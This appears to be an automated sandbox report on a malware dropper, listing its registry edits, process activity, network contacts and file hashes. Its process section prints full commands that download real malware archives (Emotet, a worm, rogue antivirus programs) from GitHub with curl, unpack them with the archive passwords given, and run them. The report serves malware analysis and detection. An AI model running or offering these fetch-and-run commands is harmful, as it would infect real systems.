Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MSComctlLib.TreeCtrl.2 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{62823C20-41A3-11CE-9E8B-0020AF039CA3}\ = "Button Property Page Object" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{5ACBB956-5C57-11CF-8993-00AA00688B10}\InprocServer32\ = "c:\\windows\\comctl32.ocx" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E8A1-850A-101B-AFC0-4210102A8DA7} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{6B7E6390-850A-101B-AFC0-4210102A8DA7}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{2C247F24-8591-11D1-B16A-00C0F0283628}\TypeLib C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\system32\regsvr32.exe N/A
N/A N/A C:\Windows\system32\regsvr32.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Install.exe N/A
N/A N/A C:\Windows\system32\regsvr32.exe N/A
N/A N/A C:\Windows\system32\regsvr32.exe N/A
N/A N/A C:\Windows\system32\regsvr32.exe N/A
N/A N/A C:\Windows\system32\regsvr32.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\RegistrySmart\RegistrySmart.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeRestorePrivilege N/A C:\Program Files\7-Zip\7z.exe N/A
Token: 35 N/A C:\Program Files\7-Zip\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7z.exe N/A
Token: SeRestorePrivilege N/A C:\Program Files\7-Zip\7z.exe N/A
Token: 35 N/A C:\Program Files\7-Zip\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7z.exe N/A
Token: SeRestorePrivilege N/A C:\Program Files\7-Zip\7z.exe N/A
Token: 35 N/A C:\Program Files\7-Zip\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7z.exe N/A
Token: SeRestorePrivilege N/A C:\Program Files\7-Zip\7z.exe N/A
Token: 35 N/A C:\Program Files\7-Zip\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7z.exe N/A
Token: SeRestorePrivilege N/A C:\Program Files\7-Zip\7z.exe N/A
Token: 35 N/A C:\Program Files\7-Zip\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7z.exe N/A
Token: SeRestorePrivilege N/A C:\Program Files\7-Zip\7z.exe N/A
Token: 35 N/A C:\Program Files\7-Zip\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7z.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7z.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Worm (1).exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4152 wrote to memory of 3136 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 3136 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 3136 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 3136 wrote to memory of 4992 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 3136 wrote to memory of 4992 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 3136 wrote to memory of 4992 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 3136 wrote to memory of 1056 N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files\7-Zip\7z.exe
PID 3136 wrote to memory of 1056 N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files\7-Zip\7z.exe
PID 4152 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 1148 wrote to memory of 4864 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 1148 wrote to memory of 4864 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 1148 wrote to memory of 4864 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 1148 wrote to memory of 1124 N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files\7-Zip\7z.exe
PID 1148 wrote to memory of 1124 N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files\7-Zip\7z.exe
PID 4152 wrote to memory of 2764 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 2764 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 2764 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 2764 wrote to memory of 5000 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 2764 wrote to memory of 5000 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 2764 wrote to memory of 5000 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 2764 wrote to memory of 2328 N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files\7-Zip\7z.exe
PID 2764 wrote to memory of 2328 N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files\7-Zip\7z.exe
PID 4152 wrote to memory of 3760 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 3760 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 3760 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 3760 wrote to memory of 2860 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 3760 wrote to memory of 2860 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 3760 wrote to memory of 2860 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 3760 wrote to memory of 4132 N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files\7-Zip\7z.exe
PID 3760 wrote to memory of 4132 N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files\7-Zip\7z.exe
PID 4152 wrote to memory of 4300 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 4300 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 4300 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4300 wrote to memory of 4060 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 4300 wrote to memory of 4060 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 4300 wrote to memory of 4060 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 4300 wrote to memory of 2512 N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files\7-Zip\7z.exe
PID 4300 wrote to memory of 2512 N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files\7-Zip\7z.exe
PID 4152 wrote to memory of 1008 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 1008 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 1008 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 1008 wrote to memory of 3500 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 1008 wrote to memory of 3500 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 1008 wrote to memory of 3500 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 1008 wrote to memory of 3936 N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files\7-Zip\7z.exe
PID 1008 wrote to memory of 3936 N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files\7-Zip\7z.exe
PID 4152 wrote to memory of 4128 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 4128 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 4128 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 4388 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 4388 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 4388 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 1500 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 1500 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 1500 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 4236 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 4236 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 4236 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 3148 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 3148 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 3148 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe
PID 4152 wrote to memory of 4396 N/A C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe C:\Windows\SysWOW64\cmd.exe

System policy modification

evasion
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer \??\c:\windows\antivirus-platinum.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives = "67108863" \??\c:\windows\antivirus-platinum.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System \??\c:\windows\antivirus-platinum.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1" \??\c:\windows\antivirus-platinum.exe N/A

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe

"C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c curl -L -o "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" "https://github.com/Princekin/malware-database/raw/main/Emotet/Emotet%20(Epoch5)%20-%2004.11.2022%20.zip" && "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp"

C:\Windows\SysWOW64\curl.exe

curl -L -o "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" "https://github.com/Princekin/malware-database/raw/main/Emotet/Emotet%20(Epoch5)%20-%2004.11.2022%20.zip"

C:\Program Files\7-Zip\7z.exe

"C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp"

C:\Windows\SysWOW64\cmd.exe

cmd /c curl -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Pro%202017.zip" && "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp"

C:\Windows\SysWOW64\curl.exe

curl -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Pro%202017.zip"

C:\Program Files\7-Zip\7z.exe

"C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp"

C:\Windows\SysWOW64\cmd.exe

cmd /c curl -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Platinum.zip" && "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp"

C:\Windows\SysWOW64\curl.exe

curl -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Platinum.zip"

C:\Program Files\7-Zip\7z.exe

"C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp"

C:\Windows\SysWOW64\cmd.exe

cmd /c curl -L -o "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/RegistrySmart.zip" && "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp"

C:\Windows\SysWOW64\curl.exe

curl -L -o "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/RegistrySmart.zip"

C:\Program Files\7-Zip\7z.exe

"C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp"

C:\Windows\SysWOW64\cmd.exe

cmd /c curl -L -o "C:\Users\Admin\AppData\Local\Temp\socelars.zip" "https://github.com/Princekin/malware-database/raw/main/Socelars%20Trojan/Socelars%20-%2024.09.2022.zip" && "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\socelars.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp"

C:\Windows\SysWOW64\curl.exe

curl -L -o "C:\Users\Admin\AppData\Local\Temp\socelars.zip" "https://github.com/Princekin/malware-database/raw/main/Socelars%20Trojan/Socelars%20-%2024.09.2022.zip"

C:\Program Files\7-Zip\7z.exe

"C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\socelars.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp"

C:\Windows\SysWOW64\cmd.exe

cmd /c curl -L -o "C:\Users\Admin\AppData\Local\Temp\eternity.zip" "https://github.com/Princekin/malware-database/raw/main/Eternity%20Project/Eternity%20Worm%20-%2009.11.2022.zip" && "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\eternity.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp"

C:\Windows\SysWOW64\curl.exe

curl -L -o "C:\Users\Admin\AppData\Local\Temp\eternity.zip" "https://github.com/Princekin/malware-database/raw/main/Eternity%20Project/Eternity%20Worm%20-%2009.11.2022.zip"

C:\Program Files\7-Zip\7z.exe

"C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\eternity.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp"

C:\Windows\SysWOW64\cmd.exe

cmd /c regsvr32.exe "C:\Users\Admin\AppData\Local\Temp\emotet.dll"

C:\Windows\SysWOW64\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\[email protected]"

C:\Windows\SysWOW64\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\[email protected]"

C:\Windows\SysWOW64\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\[email protected]"

C:\Windows\SysWOW64\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\Install.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\Worm (1).exe"

C:\Users\Admin\AppData\Local\Temp\[email protected]

C:\Users\Admin\AppData\Local\Temp\[email protected]

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe "C:\Users\Admin\AppData\Local\Temp\emotet.dll"

C:\Users\Admin\AppData\Local\Temp\Install.exe

C:\Users\Admin\AppData\Local\Temp\Install.exe

C:\Users\Admin\AppData\Local\Temp\Worm (1).exe

"C:\Users\Admin\AppData\Local\Temp\Worm (1).exe"

C:\Users\Admin\AppData\Local\Temp\[email protected]

C:\Users\Admin\AppData\Local\Temp\[email protected]

C:\Windows\system32\regsvr32.exe

"C:\Users\Admin\AppData\Local\Temp\emotet.dll"

C:\Users\Admin\AppData\Local\Temp\[email protected]

C:\Users\Admin\AppData\Local\Temp\[email protected]

C:\Users\Admin\AppData\Local\Temp\is-TBKSV.tmp\is-R2T2J.tmp

"C:\Users\Admin\AppData\Local\Temp\is-TBKSV.tmp\is-R2T2J.tmp" /SL4 $701E8 "C:\Users\Admin\AppData\Local\Temp\[email protected]" 779923 55808

C:\WINDOWS\302746537.exe

"C:\WINDOWS\302746537.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\DC6.tmp\302746537.bat" "

C:\Windows\SysWOW64\regsvr32.exe

regsvr32 /s c:\windows\comctl32.ocx

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum

C:\Windows\system32\regsvr32.exe

C:\Windows\system32\regsvr32.exe "C:\Windows\system32\KRuHBF\dLVNZLT.dll"

C:\Windows\SysWOW64\regsvr32.exe

regsvr32 /s c:\windows\mscomctl.ocx

\??\c:\windows\antivirus-platinum.exe

c:\windows\antivirus-platinum.exe

C:\Windows\SysWOW64\attrib.exe

attrib +h c:\windows\antivirus-platinum.exe

C:\Program Files (x86)\RegistrySmart\RegistrySmart.exe

"C:\Program Files (x86)\RegistrySmart\RegistrySmart.exe"

C:\Program Files (x86)\RegistrySmart\Launcher.exe

"C:\Program Files (x86)\RegistrySmart\Launcher.exe" 0:

C:\Program Files (x86)\RegistrySmart\RegistrySmart.exe

"C:\Program Files (x86)\RegistrySmart\RegistrySmart.exe" launch

Network

Country Destination Domain Proto
N/A 127.0.0.1:49776 tcp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 23.149.64.172.in-addr.arpa udp
US 185.199.108.133:443 raw.githubusercontent.com tcp
N/A 127.0.0.1:49783 tcp
GB 20.26.156.215:443 github.com tcp
US 185.199.108.133:443 raw.githubusercontent.com tcp
GB 20.26.156.215:443 github.com tcp
US 185.199.108.133:443 raw.githubusercontent.com tcp
N/A 127.0.0.1:49791 tcp
N/A 127.0.0.1:49794 tcp
N/A 127.0.0.1:49801 tcp
N/A 127.0.0.1:49804 tcp
N/A 127.0.0.1:49811 tcp
GB 20.26.156.215:443 github.com tcp
US 185.199.108.133:443 raw.githubusercontent.com tcp
N/A 127.0.0.1:49814 tcp
GB 20.26.156.215:443 github.com tcp
US 185.199.108.133:443 raw.githubusercontent.com tcp
N/A 127.0.0.1:49821 tcp
N/A 127.0.0.1:49824 tcp
GB 20.26.156.215:443 github.com tcp
US 185.199.108.133:443 raw.githubusercontent.com tcp
N/A 127.0.0.1:49831 tcp
N/A 127.0.0.1:49834 tcp
US 34.117.59.81:443 ipinfo.io tcp
US 104.26.4.15:443 api.db-ip.com tcp
US 172.67.75.166:443 api.db-ip.com tcp
US 104.17.27.25:80 www.maxmind.com tcp
DE 49.12.226.201:80 tcp
N/A 224.0.0.251:5353 udp
DE 49.12.226.201:80 tcp
KR 218.38.121.17:443 218.38.121.17 tcp
DE 49.12.226.201:80 tcp
BR 186.250.48.5:443 tcp
DE 49.12.226.201:80 tcp
IT 80.211.107.116:8080 tcp
US 174.138.33.49:7080 tcp
DE 49.12.226.201:80 tcp
SG 165.22.254.236:8080 tcp
DE 49.12.226.201:80 tcp
DE 185.148.169.10:8080 tcp
DE 49.12.226.201:80 tcp
DE 62.171.178.147:8080 tcp

Files

C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip

MD5 ebe6bc9eab807cdd910976a341bc070d
SHA1 1052700b1945bb1754f3cadad669fc4a99f5607b
SHA256 b0353f4547466a0a402198b3750d928fc7c4e96dd3adc00b181e9d98e4602ea7
SHA512 9a6bfcb90c1e24be1b930990dd2af72e889f71ad7e1a7b8353b6522a625e2ae36013793ee2c159880bd510b8f785ce4c9dfced1d2901d3ca8f091e26084185a8

C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip

MD5 ab1187f7c6ac5a5d9c45020c8b7492fe
SHA1 0d765ed785ac662ac13fb9428840911fb0cb3c8f
SHA256 8203f1de1fa5ab346580681f6a4c405930d66e391fc8d2da665ac515fd9c430a
SHA512 bbc6594001a2802ed654fe730211c75178b0910c2d1e657399de75a95e9ce28a87b38611e30642baeae6e110825599e182d40f8e940156607a40f4baa8aeddf2

C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip

MD5 ff84853a0f564152bd0b98d3fa63e695
SHA1 47d628d279de8a0d47534f93fa5b046bb7f4c991
SHA256 3aaa9e8ea7c213575fd3ac4ec004629b4ede0de06e243f6aad3cf2403e65d3f2
SHA512 9ea41fe0652832e25fe558c6d97e9f9f85ccd8a5f4d00dbcc1525a20a953fbd76efb64d69ce0fdd53c2747159d68fcb4ac0fa340e0253b5401aebc7fb3774feb

C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip

MD5 7958e5251e5e6f9c3b7752ff1543e28a
SHA1 86f6a8439ce6a6b30e6347c5bde7e091e5fad0ac
SHA256 b31c3f9d08337314050552a7dfdceaf42bb6d22baee287cde6238a6d965d87cd
SHA512 aec50b136792aebbd5aa8e5d316c39b728ff28e411dd54db99a18d5c7b9447f25629c4220800ee8dd8cd2b24a98a11d46f32b45a62bda5135c2ff0a731e032ee

C:\Users\Admin\AppData\Local\Temp\socelars.zip

MD5 ccaf8b6a14e94e5163c55b0b84a6a97c
SHA1 47c67a525e642808a1ce9a6ce632bc1e1fd3dfae
SHA256 966b5aa687ca823f72ed6054802e3347908fe1ace10336e682d96d5d66db68ae
SHA512 e82c8dd091dec5cb4e522296784c8e586a186af10598b6ad9f9feaa996c0898bb6988f602e8a32741a24bcb9f4c11e07d806e3323a46aeaafaee93b7cc1756c7

memory/4152-20-0x0000000000030000-0x0000000000044000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\eternity.zip

MD5 a68f97544c9b41270008b8bf68992a75
SHA1 a1ccc56eca977792cf7a751dff4ebf1f8afe8591
SHA256 eae2bbca8b001849a03bad0b21d9e876c1931685ce37876e08a9dc77e022bfad
SHA512 9bb6e21c98dada07b3c0d0c7f6addaf9d043441282fc5df4c5f348fffac047e5e662ef92a9f9df617cab79e1abbbb8648a4a3a32c1f2044aebf278fcdbdf68b3

C:\Users\Admin\AppData\Local\Temp\[email protected]

MD5 7dfbfba1e4e64a946cb096bfc937fbad
SHA1 9180d2ce387314cd4a794d148ea6b14084c61e1b
SHA256 312f082ea8f64609d30ff62b11f564107bf7a4ec9e95944dfd3da57c6cdb4e94
SHA512 f47b05b9c294688811dd72d17f815cce6c90f96d78f6835804d5182e2f4bfbd2d6738de854b8a79dea6345f9372ba76a36920e51e6cb556ef4b38b620e887eb4

C:\Users\Admin\AppData\Local\Temp\Worm (1).exe

MD5 4a9ffb6962544b4dd55ce6ff568810b7
SHA1 a04a58215250d0bbe79fd946e6f5a73e8be27133
SHA256 8102f6139e928e1e844e7625f41bfa2b65f6ba05e95c43f1ecb329d72a91592b
SHA512 5b7e84b8a49200960a5312a373ef6245c2d997b5e3b9a761cb15a83ffe2edf9dc860c1bcd7ebb9eb7cd774c6f1364d505016446f713acfdfb682bb01c148053b

C:\Users\Admin\AppData\Local\Temp\[email protected]

MD5 382430dd7eae8945921b7feab37ed36b
SHA1 c95ddaebe2ae8fbcb361f3bf080d95a7bb5bf128
SHA256 70e5e902d0ac7534838b743c899f484fe10766aefacc6df697219387a8e3d06b
SHA512 26abc02bde77f0b94613edc32e0843ac71a0a8f3d8ba01cb94a42c047d0be7befef52a81984e9a0fa867400082a8905e7a63aaaf85fa32a03d27f7bc6a548c3b

memory/2196-36-0x0000000000400000-0x0000000000A06000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Install.exe

MD5 3c23db5eff4d85d8ff9addb170e32d53
SHA1 1f109f5b9b17a71e4ef7e200fccab72b21836017
SHA256 c2c694174fbf54aa19e05636589ac4eaf81d6b342c96be869bf57da18b930d98
SHA512 ad428facaddaba14acc1979ad6d93c4f665f58b4c9d14b28f2c0c1818290abe9dbbbd4e1c464bd8d38caebb101d6e4e85cf85fdaf423a0f3f5d0d134d8953f69

